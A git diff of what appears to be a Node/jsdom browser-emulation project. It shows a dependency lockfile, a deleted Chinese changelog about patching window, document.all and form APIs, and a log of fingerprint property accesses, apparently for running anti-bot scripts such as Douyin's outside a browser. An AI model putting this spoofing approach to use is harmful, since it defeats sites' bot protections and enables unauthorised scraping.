"optional": true, + "peer": true, + "dependencies": { + "decompress-response": "^4.2.0", + "once": "^1.3.1", + "simple-concat": "^1.0.0" + } + }, + "node_modules/string_decoder": { + "version": "1.3.0", + "license": "MIT", + "optional": true, + "peer": true, + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/string-width": { + "version": "4.2.3", + "license": "MIT", + "optional": true, + "peer": true, + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi": { + "version": "6.0.1", + "license": "MIT", + "optional": true, + "peer": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/symbol-tree": { + "version": "3.2.4", + "license": "MIT" + }, + "node_modules/tar": { + "version": "6.1.13", + "license": "ISC", + "optional": true, + "peer": true, + "dependencies": { + "chownr": "^2.0.0", + "fs-minipass": "^2.0.0", + "minipass": "^4.0.0", + "minizlib": "^2.1.1", + "mkdirp": "^1.0.3", + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/tough-cookie": { + "version": "4.1.2", + "license": "BSD-3-Clause", + "dependencies": { + "psl": "^1.1.33", + "punycode": "^2.1.1", + "universalify": "^0.2.0", + "url-parse": "^1.5.3" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/tr46": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-4.1.1.tgz", + "integrity": "sha512-2lv/66T7e5yNyhAAC4NaKe5nVavzuGJQVVtRYLyQ2OI8tsJ61PMLlelehb0wi2Hx6+hT/OJUWZcw8MjlSRnxvw==", + "dependencies": { + "punycode": "^2.3.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/universalify": { + "version": "0.2.0", + "license": "MIT", + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/url-parse": { + "version": "1.5.10", + "license": "MIT", + "dependencies": { + "querystringify": "^2.1.1", + "requires-port": "^1.0.0" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "license": "MIT", + "optional": true, + "peer": true + }, + "node_modules/w3c-xmlserializer": { + "version": "4.0.0", + "license": "MIT", + "dependencies": { + "xml-name-validator": "^4.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/webidl-conversions": { + "version": "7.0.0", + "license": "BSD-2-Clause", + "engines": { + "node": ">=12" + } + }, + "node_modules/whatwg-encoding": { + "version": "2.0.0", + "license": "MIT", + "dependencies": { + "iconv-lite": "0.6.3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/whatwg-mimetype": { + "version": "3.0.0", + "license": "MIT", + "engines": { + "node": ">=12" + } + }, + "node_modules/whatwg-url": { + "version": "12.0.1", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-12.0.1.tgz", + "integrity": "sha512-Ed/LrqB8EPlGxjS+TrsXcpUond1mhccS3pchLhzSgPCnTimUCKj3IZE75pAs5m6heB2U2TMerKFUXheyHY+VDQ==", + "dependencies": { + "tr46": "^4.1.1", + "webidl-conversions": "^7.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/wide-align": { + "version": "1.1.5", + "license": "ISC", + "optional": true, + "peer": true, + "dependencies": { + "string-width": "^1.0.2 || 2 || 3 || 4" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "license": "ISC", + "optional": true, + "peer": true + }, + "node_modules/ws": { + "version": "8.13.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.13.0.tgz", + "integrity": "sha512-x9vcZYTrFPC7aSIbj7sRCYo7L/Xb8Iy+pW0ng0wt2vCJv7M9HOMy0UoN3rr+IFC7hb7vXoqS+P9ktyLLLhO+LA==", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/xml-name-validator": { + "version": "4.0.0", + "license": "Apache-2.0", + "engines": { + "node": ">=12" + } + }, + "node_modules/xmlchars": { + "version": "2.2.0", + "license": "MIT" + }, + "node_modules/yallist": { + "version": "4.0.0", + "license": "ISC", + "optional": true, + "peer": true + } + }, + "dependencies": { + "@mapbox/node-pre-gyp": { + "version": "1.0.10", + "optional": true, + "peer": true, + "requires": { + "detect-libc": "^2.0.0", + "https-proxy-agent": "^5.0.0", + "make-dir": "^3.1.0", + "node-fetch": "^2.6.7", + "nopt": "^5.0.0", + "npmlog": "^5.0.1", + "rimraf": "^3.0.2", + "semver": "^7.3.5", + "tar": "^6.1.11" + } + }, + "@tootallnate/once": { + "version": "2.0.0" + }, + "abab": { + "version": "2.0.6" + }, + "abbrev": { + "version": "1.1.1", + "optional": true, + "peer": true + }, + "agent-base": { + "version": "6.0.2", + "requires": { + "debug": "4" + } + }, + "ansi-regex": { + "version": "5.0.1", + "optional": true, + "peer": true + }, + "aproba": { + "version": "2.0.0", + "optional": true, + "peer": true + }, + "are-we-there-yet": { + "version": "2.0.0", + "optional": true, + "peer": true, + "requires": { + "delegates": "^1.0.0", + "readable-stream": "^3.6.0" + } + }, + "asynckit": { + "version": "0.4.0" + }, + "balanced-match": { + "version": "1.0.2", + "optional": true, + "peer": true + }, + "brace-expansion": { + "version": "1.1.11", + "optional": true, + "peer": true, + "requires": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "canvas": { + "version": "2.11.0", + "optional": true, + "peer": true, + "requires": { + "@mapbox/node-pre-gyp": "^1.0.0", + "nan": "^2.17.0", + "simple-get": "^3.0.3" + } + }, + "chownr": { + "version": "2.0.0", + "optional": true, + "peer": true + }, + "color-support": { + "version": "1.1.3", + "optional": true, + "peer": true + }, + "combined-stream": { + "version": "1.0.8", + "requires": { + "delayed-stream": "~1.0.0" + } + }, + "concat-map": { + "version": "0.0.1", + "optional": true, + "peer": true + }, + "console-control-strings": { + "version": "1.1.0", + "optional": true, + "peer": true + }, + "cssstyle": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-3.0.0.tgz", + "integrity": "sha512-N4u2ABATi3Qplzf0hWbVCdjenim8F3ojEXpBDF5hBpjzW182MjNGLqfmQ0SkSPeQ+V86ZXgeH8aXj6kayd4jgg==", + "requires": { + "rrweb-cssom": "^0.6.0" + } + }, + "data-urls": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-4.0.0.tgz", + "integrity": "sha512-/mMTei/JXPqvFqQtfyTowxmJVwr2PVAeCcDxyFf6LhoOu/09TX2OX3kb2wzi4DMXcfj4OItwDOnhl5oziPnT6g==", + "requires": { + "abab": "^2.0.6", + "whatwg-mimetype": "^3.0.0", + "whatwg-url": "^12.0.0" + } + }, + "debug": { + "version": "4.3.4", + "requires": { + "ms": "2.1.2" + } + }, + "decimal.js": { + "version": "10.4.3" + }, + "decompress-response": { + "version": "4.2.1", + "optional": true, + "peer": true, + "requires": { + "mimic-response": "^2.0.0" + } + }, + "delayed-stream": { + "version": "1.0.0" + }, + "delegates": { + "version": "1.0.0", + "optional": true, + "peer": true + }, + "detect-libc": { + "version": "2.0.1", + "optional": true, + "peer": true + }, + "domexception": { + "version": "4.0.0", + "requires": { + "webidl-conversions": "^7.0.0" + } + }, + "emoji-regex": { + "version": "8.0.0", + "optional": true, + "peer": true + }, + "entities": { + "version": "4.4.0" + }, + "form-data": { + "version": "4.0.0", + "requires": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "mime-types": "^2.1.12" + } + }, + "fs-minipass": { + "version": "2.1.0", + "optional": true, + "peer": true, + "requires": { + "minipass": "^3.0.0" + }, + "dependencies": { + "minipass": { + "version": "3.3.6", + "optional": true, + "peer": true, + "requires": { + "yallist": "^4.0.0" + } + } + } + }, + "fs.realpath": { + "version": "1.0.0", + "optional": true, + "peer": true + }, + "gauge": { + "version": "3.0.2", + "optional": true, + "peer": true, + "requires": { + "aproba": "^1.0.3 || ^2.0.0", + "color-support": "^1.1.2", + "console-control-strings": "^1.0.0", + "has-unicode": "^2.0.1", + "object-assign": "^4.1.1", + "signal-exit": "^3.0.0", + "string-width": "^4.2.3", + "strip-ansi": "^6.0.1", + "wide-align": "^1.1.2" + } + }, + "glob": { + "version": "7.2.3", + "optional": true, + "peer": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "has-unicode": { + "version": "2.0.1", + "optional": true, + "peer": true + }, + "html-encoding-sniffer": { + "version": "3.0.0", + "requires": { + "whatwg-encoding": "^2.0.0" + } + }, + "http-proxy-agent": { + "version": "5.0.0", + "requires": { + "@tootallnate/once": "2", + "agent-base": "6", + "debug": "4" + } + }, + "https-proxy-agent": { + "version": "5.0.1", + "requires": { + "agent-base": "6", + "debug": "4" + } + }, + "iconv-lite": { + "version": "0.6.3", + "requires": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + } + }, + "inflight": { + "version": "1.0.6", + "optional": true, + "peer": true, + "requires": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "inherits": { + "version": "2.0.4", + "optional": true, + "peer": true + }, + "is-fullwidth-code-point": { + "version": "3.0.0", + "optional": true, + "peer": true + }, + "is-potential-custom-element-name": { + "version": "1.0.1" + }, + "jsdom": { + "version": "22.0.0", + "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-22.0.0.tgz", + "integrity": "sha512-p5ZTEb5h+O+iU02t0GfEjAnkdYPrQSkfuTSMkMYyIoMvUNEHsbG0bHHbfXIcfTqD2UfvjQX7mmgiFsyRwGscVw==", + "requires": { + "abab": "^2.0.6", + "cssstyle": "^3.0.0", + "data-urls": "^4.0.0", + "decimal.js": "^10.4.3", + "domexception": "^4.0.0", + "form-data": "^4.0.0", + "html-encoding-sniffer": "^3.0.0", + "http-proxy-agent": "^5.0.0", + "https-proxy-agent": "^5.0.1", + "is-potential-custom-element-name": "^1.0.1", + "nwsapi": "^2.2.4", + "parse5": "^7.1.2", + "rrweb-cssom": "^0.6.0", + "saxes": "^6.0.0", + "symbol-tree": "^3.2.4", + "tough-cookie": "^4.1.2", + "w3c-xmlserializer": "^4.0.0", + "webidl-conversions": "^7.0.0", + "whatwg-encoding": "^2.0.0", + "whatwg-mimetype": "^3.0.0", + "whatwg-url": "^12.0.1", + "ws": "^8.13.0", + "xml-name-validator": "^4.0.0" + } + }, + "lru-cache": { + "version": "6.0.0", + "optional": true, + "peer": true, + "requires": { + "yallist": "^4.0.0" + } + }, + "make-dir": { + "version": "3.1.0", + "optional": true, + "peer": true, + "requires": { + "semver": "^6.0.0" + }, + "dependencies": { + "semver": { + "version": "6.3.0", + "optional": true, + "peer": true + } + } + }, + "mime-db": { + "version": "1.52.0" + }, + "mime-types": { + "version": "2.1.35", + "requires": { + "mime-db": "1.52.0" + } + }, + "mimic-response": { + "version": "2.1.0", + "optional": true, + "peer": true + }, + "minimatch": { + "version": "3.1.2", + "optional": true, + "peer": true, + "requires": { + "brace-expansion": "^1.1.7" + } + }, + "minipass": { + "version": "4.0.3", + "optional": true, + "peer": true + }, + "minizlib": { + "version": "2.1.2", + "optional": true, + "peer": true, + "requires": { + "minipass": "^3.0.0", + "yallist": "^4.0.0" + }, + "dependencies": { + "minipass": { + "version": "3.3.6", + "optional": true, + "peer": true, + "requires": { + "yallist": "^4.0.0" + } + } + } + }, + "mkdirp": { + "version": "1.0.4", + "optional": true, + "peer": true + }, + "ms": { + "version": "2.1.2" + }, + "nan": { + "version": "2.17.0", + "optional": true, + "peer": true + }, + "node-addon-api": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-6.1.0.tgz", + "integrity": "sha512-+eawOlIgy680F0kBzPUNFhMZGtJ1YmqM6l4+Crf4IkImjYrO/mqPwRMh352g23uIaQKFItcQ64I7KMaJxHgAVA==" + }, + "node-fetch": { + "version": "2.6.9", + "optional": true, + "peer": true, + "requires": { + "whatwg-url": "^5.0.0" + }, + "dependencies": { + "tr46": { + "version": "0.0.3", + "optional": true, + "peer": true + }, + "webidl-conversions": { + "version": "3.0.1", + "optional": true, + "peer": true + }, + "whatwg-url": { + "version": "5.0.0", + "optional": true, + "peer": true, + "requires": { + "tr46": "~0.0.3", + "webidl-conversions": "^3.0.0" + } + } + } + }, + "nopt": { + "version": "5.0.0", + "optional": true, + "peer": true, + "requires": { + "abbrev": "1" + } + }, + "npmlog": { + "version": "5.0.1", + "optional": true, + "peer": true, + "requires": { + "are-we-there-yet": "^2.0.0", + "console-control-strings": "^1.1.0", + "gauge": "^3.0.0", + "set-blocking": "^2.0.0" + } + }, + "nwsapi": { + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.4.tgz", + "integrity": "sha512-NHj4rzRo0tQdijE9ZqAx6kYDcoRwYwSYzCA8MY3JzfxlrvEU0jhnhJT9BhqhJs7I/dKcrDm6TyulaRqZPIhN5g==" + }, + "object-assign": { + "version": "4.1.1", + "optional": true, + "peer": true + }, + "once": { + "version": "1.4.0", + "optional": true, + "peer": true, + "requires": { + "wrappy": "1" + } + }, + "parse5": { + "version": "7.1.2", + "requires": { + "entities": "^4.4.0" + } + }, + "path-is-absolute": { + "version": "1.0.1", + "optional": true, + "peer": true + }, + "psl": { + "version": "1.9.0" + }, + "punycode": { + "version": "2.3.0" + }, + "querystringify": { + "version": "2.2.0" + }, + "readable-stream": { + "version": "3.6.0", + "optional": true, + "peer": true, + "requires": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + } + }, + "requires-port": { + "version": "1.0.0" + }, + "rimraf": { + "version": "3.0.2", + "optional": true, + "peer": true, + "requires": { + "glob": "^7.1.3" + } + }, + "rrweb-cssom": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/rrweb-cssom/-/rrweb-cssom-0.6.0.tgz", + "integrity": "sha512-APM0Gt1KoXBz0iIkkdB/kfvGOwC4UuJFeG/c+yV7wSc7q96cG/kJ0HiYCnzivD9SB53cLV1MlHFNfOuPaadYSw==" + }, + "safe-buffer": { + "version": "5.2.1", + "optional": true, + "peer": true + }, + "safer-buffer": { + "version": "2.1.2" + }, + "saxes": { + "version": "6.0.0", + "requires": { + "xmlchars": "^2.2.0" + } + }, + "semver": { + "version": "7.3.8", + "optional": true, + "peer": true, + "requires": { + "lru-cache": "^6.0.0" + } + }, + "set-blocking": { + "version": "2.0.0", + "optional": true, + "peer": true + }, + "signal-exit": { + "version": "3.0.7", + "optional": true, + "peer": true + }, + "simple-concat": { + "version": "1.0.1", + "optional": true, + "peer": true + }, + "simple-get": { + "version": "3.1.1", + "optional": true, + "peer": true, + "requires": { + "decompress-response": "^4.2.0", + "once": "^1.3.1", + "simple-concat": "^1.0.0" + } + }, + "string_decoder": { + "version": "1.3.0", + "optional": true, + "peer": true, + "requires": { + "safe-buffer": "~5.2.0" + } + }, + "string-width": { + "version": "4.2.3", + "optional": true, + "peer": true, + "requires": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + } + }, + "strip-ansi": { + "version": "6.0.1", + "optional": true, + "peer": true, + "requires": { + "ansi-regex": "^5.0.1" + } + }, + "symbol-tree": { + "version": "3.2.4" + }, + "tar": { + "version": "6.1.13", + "optional": true, + "peer": true, + "requires": { + "chownr": "^2.0.0", + "fs-minipass": "^2.0.0", + "minipass": "^4.0.0", + "minizlib": "^2.1.1", + "mkdirp": "^1.0.3", + "yallist": "^4.0.0" + } + }, + "tough-cookie": { + "version": "4.1.2", + "requires": { + "psl": "^1.1.33", + "punycode": "^2.1.1", + "universalify": "^0.2.0", + "url-parse": "^1.5.3" + } + }, + "tr46": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-4.1.1.tgz", + "integrity": "sha512-2lv/66T7e5yNyhAAC4NaKe5nVavzuGJQVVtRYLyQ2OI8tsJ61PMLlelehb0wi2Hx6+hT/OJUWZcw8MjlSRnxvw==", + "requires": { + "punycode": "^2.3.0" + } + }, + "universalify": { + "version": "0.2.0" + }, + "url-parse": { + "version": "1.5.10", + "requires": { + "querystringify": "^2.1.1", + "requires-port": "^1.0.0" + } + }, + "util-deprecate": { + "version": "1.0.2", + "optional": true, + "peer": true + }, + "w3c-xmlserializer": { + "version": "4.0.0", + "requires": { + "xml-name-validator": "^4.0.0" + } + }, + "webidl-conversions": { + "version": "7.0.0" + }, + "whatwg-encoding": { + "version": "2.0.0", + "requires": { + "iconv-lite": "0.6.3" + } + }, + "whatwg-mimetype": { + "version": "3.0.0" + }, + "whatwg-url": { + "version": "12.0.1", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-12.0.1.tgz", + "integrity": "sha512-Ed/LrqB8EPlGxjS+TrsXcpUond1mhccS3pchLhzSgPCnTimUCKj3IZE75pAs5m6heB2U2TMerKFUXheyHY+VDQ==", + "requires": { + "tr46": "^4.1.1", + "webidl-conversions": "^7.0.0" + } + }, + "wide-align": { + "version": "1.1.5", + "optional": true, + "peer": true, + "requires": { + "string-width": "^1.0.2 || 2 || 3 || 4" + } + }, + "wrappy": { + "version": "1.0.2", + "optional": true, + "peer": true + }, + "ws": { + "version": "8.13.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.13.0.tgz", + "integrity": "sha512-x9vcZYTrFPC7aSIbj7sRCYo7L/Xb8Iy+pW0ng0wt2vCJv7M9HOMy0UoN3rr+IFC7hb7vXoqS+P9ktyLLLhO+LA==", + "requires": {} + }, + "xml-name-validator": { + "version": "4.0.0" + }, + "xmlchars": { + "version": "2.2.0" + }, + "yallist": { + "version": "4.0.0", + "optional": true, + "peer": true + } + } +} diff --git a/env_xbb_lastest_jsdom/package.json b/env_xbb_lastest_jsdom/package.json new file mode 100644 index 00000000..87462305 --- /dev/null +++ b/env_xbb_lastest_jsdom/package.json @@ -0,0 +1,6 @@ +{ + "dependencies": { + "jsdom": "^22.0.0", + "node-addon-api": "^6.1.0" + } +} diff --git a/env_xbb_lastest_jsdom/readme.md b/env_xbb_lastest_jsdom/readme.md deleted file mode 100644 index 1b7778c5..00000000 --- a/env_xbb_lastest_jsdom/readme.md +++ /dev/null @@ -1,27 +0,0 @@ -0220: - -1. 补了些window底下的方法 - - - -0218: - -1.重构了整个架构,现在除window外所有原型和实例都已经存在了globalobj中, - -- 可以让所有方法,都经过dispatch分发器转发 -- 可以在检测代理的情况下,知道目标代码调用了window下哪些方法 - -2.由于刚修改完,很多方法还未进行同步 - -0216: - -1.补了下document.all - -2.补了下form表单操作 - -请使用我提供的node,不然doument.all会报错,然后由于精力有限,暂时主要补全jsdom版本的,因为补起来比较方便 - -Q:826814133 - -V:bo_yuuki - diff --git a/env_xbb_lastest_jsdom/run/Node环境检测.html b/env_xbb_lastest_jsdom/run/Node环境检测.html new file mode 100644 index 00000000..e429b4ed --- /dev/null +++ b/env_xbb_lastest_jsdom/run/Node环境检测.html @@ -0,0 +1,49 @@ + + + + + + + diff --git a/env_xbb_lastest_jsdom/run/douyin.js b/env_xbb_lastest_jsdom/run/douyin.js new file mode 100644 index 00000000..e69de29b diff --git a/env_xbb_lastest_jsdom/run/exportEnv.py b/env_xbb_lastest_jsdom/run/exportEnv.py new file mode 100644 index 00000000..e69de29b diff --git a/env_xbb_lastest_jsdom/run/index.html b/env_xbb_lastest_jsdom/run/index.html new file mode 100644 index 00000000..e69de29b diff --git a/env_xbb_lastest_jsdom/run/log.txt b/env_xbb_lastest_jsdom/run/log.txt index e69de29b..d914fe67 100644 --- a/env_xbb_lastest_jsdom/run/log.txt +++ b/env_xbb_lastest_jsdom/run/log.txt @@ -0,0 +1,806 @@ +MimeTypeArray_length_get -> arg -> +MimeType_type_get -> arg -> +MimeTypeArray_length_get -> arg -> +MimeType_type_get -> arg -> +MimeType_type_get -> arg -> +MimeType_type_get -> arg -> +PluginArray_length_get -> arg -> +Plugin_name_get -> arg -> +MimeTypeArray_length_get -> arg -> +MimeType_type_get -> arg -> +MimeType_type_get -> arg -> +MimeType_type_get -> arg -> +MimeType_type_get -> arg -> +MimeTypeArray_length_get -> arg -> +MimeType_type_get -> arg -> +MimeType_type_get -> arg -> +MimeType_type_get -> arg -> +MimeType_type_get -> arg -> +PluginArray_length_get -> arg -> +Plugin_name_get -> arg -> +MimeTypeArray_length_get -> arg -> +MimeType_type_get -> arg -> +MimeType_type_get -> arg -> +MimeType_type_get -> arg -> +MimeType_type_get -> arg -> +MimeTypeArray_length_get -> arg -> +MimeType_type_get -> arg -> +MimeType_type_get -> arg -> +MimeType_type_get -> arg -> +MimeType_type_get -> arg -> +PluginArray_length_get -> arg -> +Plugin_name_get -> arg -> +MimeTypeArray_length_get -> arg -> +MimeType_type_get -> arg -> +MimeType_type_get -> arg -> +MimeType_type_get -> arg -> +MimeType_type_get -> arg -> +MimeTypeArray_length_get -> arg -> +MimeType_type_get -> arg -> +MimeType_type_get -> arg -> +MimeType_type_get -> arg -> +MimeType_type_get -> arg -> +PluginArray_length_get -> arg -> +Plugin_name_get -> arg -> +MimeTypeArray_length_get -> arg -> +MimeType_type_get -> arg -> +MimeType_type_get -> arg -> +MimeType_type_get -> arg -> +MimeType_type_get -> arg -> +MimeTypeArray_length_get -> arg -> +MimeType_type_get -> arg -> +MimeType_type_get -> arg -> +MimeType_type_get -> arg -> +MimeType_type_get -> arg -> +PluginArray_length_get -> arg -> +Plugin_name_get -> arg -> +=============================================================================================================== +=============================================================================================================== +=============================================================================================================== +=============================================================================================================== +=====================================环 境 赋 值 初 始 化===================================== +=============================================================================================================== +=============================================================================================================== +=============================================================================================================== +=============================================================================================================== +window_Document -> res -> function Document() { [native code] } +window_Location -> res -> function Location() { [native code] } +window_BarProp -> res -> function BarProp() { [native code] } +window_CustomElementRegistry -> res -> function CustomElementRegistry() { [native code] } +window_Window -> res -> function Window() { [native code] } +window_Screen -> res -> function Screen() { [native code] } +window_Navigator -> res -> function Navigator() { [native code] } +window_Performance -> res -> function Performance() { [native code] } +window_Storage -> res -> function Storage() { [native code] } +window_Navigation -> res -> function Navigation() { [native code] } +window_VisualViewport -> res -> function VisualViewport() { [native code] } +window_History -> res -> function History() { [native code] } +window_IDBFactory -> res -> function IDBFactory() { [native code] } +window_TrustedTypePolicyFactory -> res -> function TrustedTypePolicyFactory() { [native code] } +window_CookieStore -> res -> function CookieStore() { [native code] } +window_External -> res -> function External() { [native code] } +window_CacheStorage -> res -> function CacheStorage() { [native code] } +window_XMLHttpRequest-> res ->function XMLHttpRequest() { [native code] } +window_IDBDatabase-> res ->function IDBDatabase() { [native code] } +window_Image -> res -> function Image() { [native code] } +window_Audio-> res ->function Audio() { [native code] } +window_XPathResult-> res ->function XPathResult() { [native code] } +window_XPathExpression-> res ->function XPathExpression() { [native code] } +window_XPathEvaluator-> res ->function XPathEvaluator() { [native code] } +window_XMLSerializer-> res ->function XMLSerializer() { [native code] } +window_XMLHttpRequestUpload-> res ->function XMLHttpRequestUpload() { [native code] } +window_XMLHttpRequestEventTarget-> res ->function XMLHttpRequestEventTarget() { [native code] } +window_XMLDocument-> res ->function XMLDocument() { [native code] } +window_WritableStreamDefaultWriter-> res ->function WritableStreamDefaultWriter() { [native code] } +window_WritableStreamDefaultController-> res ->function WritableStreamDefaultController() { [native code] } +window_WritableStream-> res ->function WritableStream() { [native code] } +window_Worker-> res ->function Worker() { [native code] } +window_WheelEvent-> res ->function WheelEvent() { [native code] } +window_WebSocket-> res ->function WebSocket() { [native code] } +window_WebGLVertexArrayObject-> res ->function WebGLVertexArrayObject() { [native code] } +window_WebGLUniformLocation-> res ->function WebGLUniformLocation() { [native code] } +window_WebGLTransformFeedback-> res ->function WebGLTransformFeedback() { [native code] } +window_WebGLTexture-> res ->function WebGLTexture() { [native code] } +window_WebGLSync-> res ->function WebGLSync() { [native code] } +window_WebGLShaderPrecisionFormat-> res ->function WebGLShaderPrecisionFormat() { [native code] } +window_WebGLShader-> res ->function WebGLShader() { [native code] } +window_WebGLSampler-> res ->function WebGLSampler() { [native code] } +window_WebGLRenderingContext-> res ->function WebGLRenderingContext() { [native code] } +window_WebGLRenderbuffer-> res ->function WebGLRenderbuffer() { [native code] } +window_WebGLQuery-> res ->function WebGLQuery() { [native code] } +window_WebGLProgram-> res ->function WebGLProgram() { [native code] } +window_WebGLFramebuffer-> res ->function WebGLFramebuffer() { [native code] } +window_WebGLContextEvent-> res ->function WebGLContextEvent() { [native code] } +window_WebGLBuffer-> res ->function WebGLBuffer() { [native code] } +window_WebGLActiveInfo-> res ->function WebGLActiveInfo() { [native code] } +window_WebGL2RenderingContext-> res ->function WebGL2RenderingContext() { [native code] } +window_WaveShaperNode-> res ->function WaveShaperNode() { [native code] } +window_ValidityState-> res ->function ValidityState() { [native code] } +window_VTTCue-> res ->function VTTCue() { [native code] } +window_UserActivation-> res ->function UserActivation() { [native code] } +window_URLSearchParams-> res ->function URLSearchParams() { [native code] } +window_URL-> res ->function URL() { [native code] } +window_UIEvent-> res ->function UIEvent() { [native code] } +window_TreeWalker-> res ->function TreeWalker() { [native code] } +window_TransitionEvent-> res ->function TransitionEvent() { [native code] } +window_TransformStream-> res ->function TransformStream() { [native code] } +window_TrackEvent-> res ->function TrackEvent() { [native code] } +window_TouchList-> res ->function TouchList() { [native code] } +window_TouchEvent-> res ->function TouchEvent() { [native code] } +window_Touch-> res ->function Touch() { [native code] } +window_TimeRanges-> res ->function TimeRanges() { [native code] } +window_TextTrackList-> res ->function TextTrackList() { [native code] } +window_TextTrackCueList-> res ->function TextTrackCueList() { [native code] } +window_TextTrackCue-> res ->function TextTrackCue() { [native code] } +window_TextTrack-> res ->function TextTrack() { [native code] } +window_TextMetrics-> res ->function TextMetrics() { [native code] } +window_TextEvent-> res ->function TextEvent() { [native code] } +window_TextEncoderStream-> res ->function TextEncoderStream() { [native code] } +window_TextEncoder-> res ->function TextEncoder() { [native code] } +window_TextDecoderStream-> res ->function TextDecoderStream() { [native code] } +window_TextDecoder-> res ->function TextDecoder() { [native code] } +window_Text-> res ->function Text() { [native code] } +window_TaskAttributionTiming-> res ->function TaskAttributionTiming() { [native code] } +window_SyncManager-> res ->function SyncManager() { [native code] } +window_SubmitEvent-> res ->function SubmitEvent() { [native code] } +window_StyleSheetList-> res ->function StyleSheetList() { [native code] } +window_StyleSheet-> res ->function StyleSheet() { [native code] } +window_StylePropertyMapReadOnly-> res ->function StylePropertyMapReadOnly() { [native code] } +window_StylePropertyMap-> res ->function StylePropertyMap() { [native code] } +window_StorageEvent-> res ->function StorageEvent() { [native code] } +window_StereoPannerNode-> res ->function StereoPannerNode() { [native code] } +window_StaticRange-> res ->function StaticRange() { [native code] } +window_ShadowRoot-> res ->function ShadowRoot() { [native code] } +window_Selection-> res ->function Selection() { [native code] } +window_SecurityPolicyViolationEvent-> res ->function SecurityPolicyViolationEvent() { [native code] } +window_ScriptProcessorNode-> res ->function ScriptProcessorNode() { [native code] } +window_ScreenOrientation-> res ->function ScreenOrientation() { [native code] } +window_SVGViewElement-> res ->function SVGViewElement() { [native code] } +window_SVGUseElement-> res ->function SVGUseElement() { [native code] } +window_SVGUnitTypes-> res ->function SVGUnitTypes() { [native code] } +window_SVGTransformList-> res ->function SVGTransformList() { [native code] } +window_SVGTransform-> res ->function SVGTransform() { [native code] } +window_SVGTitleElement-> res ->function SVGTitleElement() { [native code] } +window_SVGTextPositioningElement-> res ->function SVGTextPositioningElement() { [native code] } +window_SVGTextPathElement-> res ->function SVGTextPathElement() { [native code] } +window_SVGTextElement-> res ->function SVGTextElement() { [native code] } +window_SVGTextContentElement-> res ->function SVGTextContentElement() { [native code] } +window_SVGTSpanElement-> res ->function SVGTSpanElement() { [native code] } +window_SVGSymbolElement-> res ->function SVGSymbolElement() { [native code] } +window_SVGSwitchElement-> res ->function SVGSwitchElement() { [native code] } +window_SVGStyleElement-> res ->function SVGStyleElement() { [native code] } +window_SVGStringList-> res ->function SVGStringList() { [native code] } +window_SVGStopElement-> res ->function SVGStopElement() { [native code] } +window_SVGSetElement-> res ->function SVGSetElement() { [native code] } +window_SVGScriptElement-> res ->function SVGScriptElement() { [native code] } +window_SVGSVGElement-> res ->function SVGSVGElement() { [native code] } +window_SVGRectElement-> res ->function SVGRectElement() { [native code] } +window_SVGRect-> res ->function SVGRect() { [native code] } +window_SVGRadialGradientElement-> res ->function SVGRadialGradientElement() { [native code] } +window_SVGPreserveAspectRatio-> res ->function SVGPreserveAspectRatio() { [native code] } +window_SVGPolylineElement-> res ->function SVGPolylineElement() { [native code] } +window_SVGPolygonElement-> res ->function SVGPolygonElement() { [native code] } +window_SVGPointList-> res ->function SVGPointList() { [native code] } +window_SVGPoint-> res ->function SVGPoint() { [native code] } +window_SVGPatternElement-> res ->function SVGPatternElement() { [native code] } +window_SVGPathElement-> res ->function SVGPathElement() { [native code] } +window_SVGNumberList-> res ->function SVGNumberList() { [native code] } +window_SVGNumber-> res ->function SVGNumber() { [native code] } +window_SVGMetadataElement-> res ->function SVGMetadataElement() { [native code] } +window_SVGMatrix-> res ->function SVGMatrix() { [native code] } +window_SVGMaskElement-> res ->function SVGMaskElement() { [native code] } +window_SVGMarkerElement-> res ->function SVGMarkerElement() { [native code] } +window_SVGMPathElement-> res ->function SVGMPathElement() { [native code] } +window_SVGLinearGradientElement-> res ->function SVGLinearGradientElement() { [native code] } +window_SVGLineElement-> res ->function SVGLineElement() { [native code] } +window_SVGLengthList-> res ->function SVGLengthList() { [native code] } 